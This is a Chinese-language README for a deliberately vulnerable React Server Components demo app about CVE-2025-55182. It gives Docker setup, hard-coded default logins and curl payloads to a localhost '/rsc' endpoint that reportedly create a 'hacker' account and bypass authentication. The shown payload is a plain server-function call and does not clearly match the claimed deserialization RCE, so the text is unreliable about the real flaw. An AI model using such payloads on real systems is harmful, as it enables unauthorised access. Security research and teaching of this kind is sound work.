## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MYCOMPANYORGANIZATION-REACT2SHELL-KINGDOM
# React CVE-2025-55182 漏洞演示项目
## ⚠️ 安全警告
**本项目演示 React Server Components 19.1.1 中的一个严重 RCE 漏洞(CVE-2025-55182 / React2Shell)。**
* **仅供教育和安全研究使用**
* **切勿部署到生产环境或暴露于不受信任的网络**
* **仅在隔离、受控的环境中运行**
* **测试前请确保已获得适当授权**
## 概述
本项目演示 CVE-2025-55182(React2Shell),这是 React Server Components 19.1.1 中的一个严重远程代码执行(RCE)漏洞。该应用包含:
* 带用户名/密码认证的单页网站
* React Server Components (RSC) 实现
* RSC Flight 协议端点(存在漏洞)
* Docker 部署配置
* 演示该漏洞的 POC 利用载荷
## 项目结构
root@kitploit:~
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
## 环境要求
* Node.js 18+
* Docker 和 Docker Compose(可选,用于容器化部署)
* npm 或 yarn
## 安装
### 本地开发
1. 克隆或下载此仓库
2. 安装依赖:
root@kitploit:~
npm install
3. 启动服务器:
root@kitploit:~
npm start
4. 通过 http://localhost:3000 访问应用
### Docker 部署
1. 使用 Docker Compose 构建并运行:
root@kitploit:~
docker-compose up --build
或者手动构建并运行:
root@kitploit:~
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
2. 通过 http://localhost:3000 访问应用
## 使用流程
### 正常认证流程
1. **访问应用** :导航到 http://localhost:3000
2. **登录页面** :您将看到一个登录表单
3. **默认凭据** :
* 用户名:`admin`,密码:`securepassword123`
* 用户名:`user1`,密码:`password123`
4. **登录成功** :您将被重定向到受保护的控制面板
5. **退出登录** :点击退出按钮返回登录页面
### 漏洞演示
该漏洞存在于 RSC Flight 协议的反序列化机制中。该利用程序:
1. 构造针对 Server Function 端点的恶意序列化载荷
2. 利用不安全的反序列化执行任意 JavaScript
3. 在 JSON 文件中创建新的用户条目
4. 使用新凭据绕过认证
### 运行 POC 利用程序
#### 选项 1:Node.js 脚本
root@kitploit:~
node exploit/poc.js
或使用自定义目标 URL:
root@kitploit:~
TARGET_URL=http://localhost:3000 node exploit/poc.js
#### 选项 2:Bash 脚本
root@kitploit:~
./exploit/poc.sh
或使用自定义目标 URL:
root@kitploit:~
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
#### 选项 3:手动 curl 命令
**单行版本:**
root@kitploit:~
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
**多行版本(便于阅读):**
root@kitploit:~
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
> **注意:** `exploit/curl-oneline.txt` 中还提供了可直接复制粘贴的单行命令
### 利用之后
运行利用程序后:
1. 利用程序会在 `data/users.json` 中创建一个新用户
2. 您现在可以使用新创建的凭据登录:
* 用户名:`hacker`
* 密码:`hacked123`
3. 这演示了该漏洞如何绕过认证
## 技术细节
### 漏洞(CVE-2025-55182)
该漏洞存在于 React Server Components 19.1.1 中,具体涉及:
* **组件** :`react-server-dom-webpack`
* **版本** :19.1.1(存在漏洞)
* **问题** :RSC Flight 协议中的不安全反序列化
* **影响** :远程代码执行(RCE)
* **CVSS** :严重
### 服务器实现
服务器(`server.js`)实现了:
* Express.js HTTP 服务器
* RSC Flight 协议端点(`/rsc`)
* Server Function 执行(存在漏洞的端点)
* 会话管理
* 静态文件服务
### 认证系统
* **登录组件** :用于用户名/密码的客户端表单
* **Auth Server 组件** :服务端认证逻辑
* **用户存储** :存储凭据的 JSON 文件(`data/users.json`)
* **受保护路由** :控制面板需要认证
### RSC Flight 协议
RSC Flight 协议端点接受:
* `action: "callServerFunction"`:执行服务器函数
* `action: "renderRSC"`:渲染 React Server Components
漏洞存在于 Server Function 调用被反序列化和执行的过程中。
## 安全注意事项
### ⚠️ 重要警告
1. **隔离环境** :仅在受控、隔离的环境中运行
2. **禁止生产使用** :切勿将存在漏洞的代码部署到生产环境
3. **网络隔离** :不要暴露于不受信任的网络
4. **教育目的** :仅用于安全研究和教育
5. **法律合规** :测试前请确保已获得适当授权
### 最佳实践
* 使用专用的虚拟机或容器进行测试
* 除 localhost 外禁用网络访问
* 不要在测试环境中存储敏感数据
* 演示后清理测试数据
* 遵循负责任披露实践
## 依赖项
* **React** :19.1.1(存在漏洞的版本)
* **react-server-dom-webpack** :19.1.1(存在漏洞的包)
* **Express.js** :^4.18.2
* **express-session** :^1.17.3
* **Node.js** :18+
## 故障排除
### 服务器无法启动
* 检查端口 3000 是否已被占用
* 确认 Node.js 版本为 18 或更高
* 确保所有依赖已安装(`npm install`)
### 利用程序不生效
* 确认服务器正在运行
* 检查 RSC 端点是否可访问
* 查看服务器日志中的错误
* 确保利用脚本具有适当的权限
### Docker 问题
* 确保 Docker 正在运行
* 检查 Docker Compose 版本兼容性
* 确认端口 3000 可用
* 查看 Docker 日志:`docker-compose logs`
## 参考
* CVE-2025-55182:React2Shell 漏洞
* React Server Components 文档
* RSC Flight 协议规范
## 许可证
MIT 许可证 - 仅用于教育目的
## 免责声明
本软件仅用于教育和安全研究目的。作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。使用风险自负,并确保遵守所有适用的法律法规。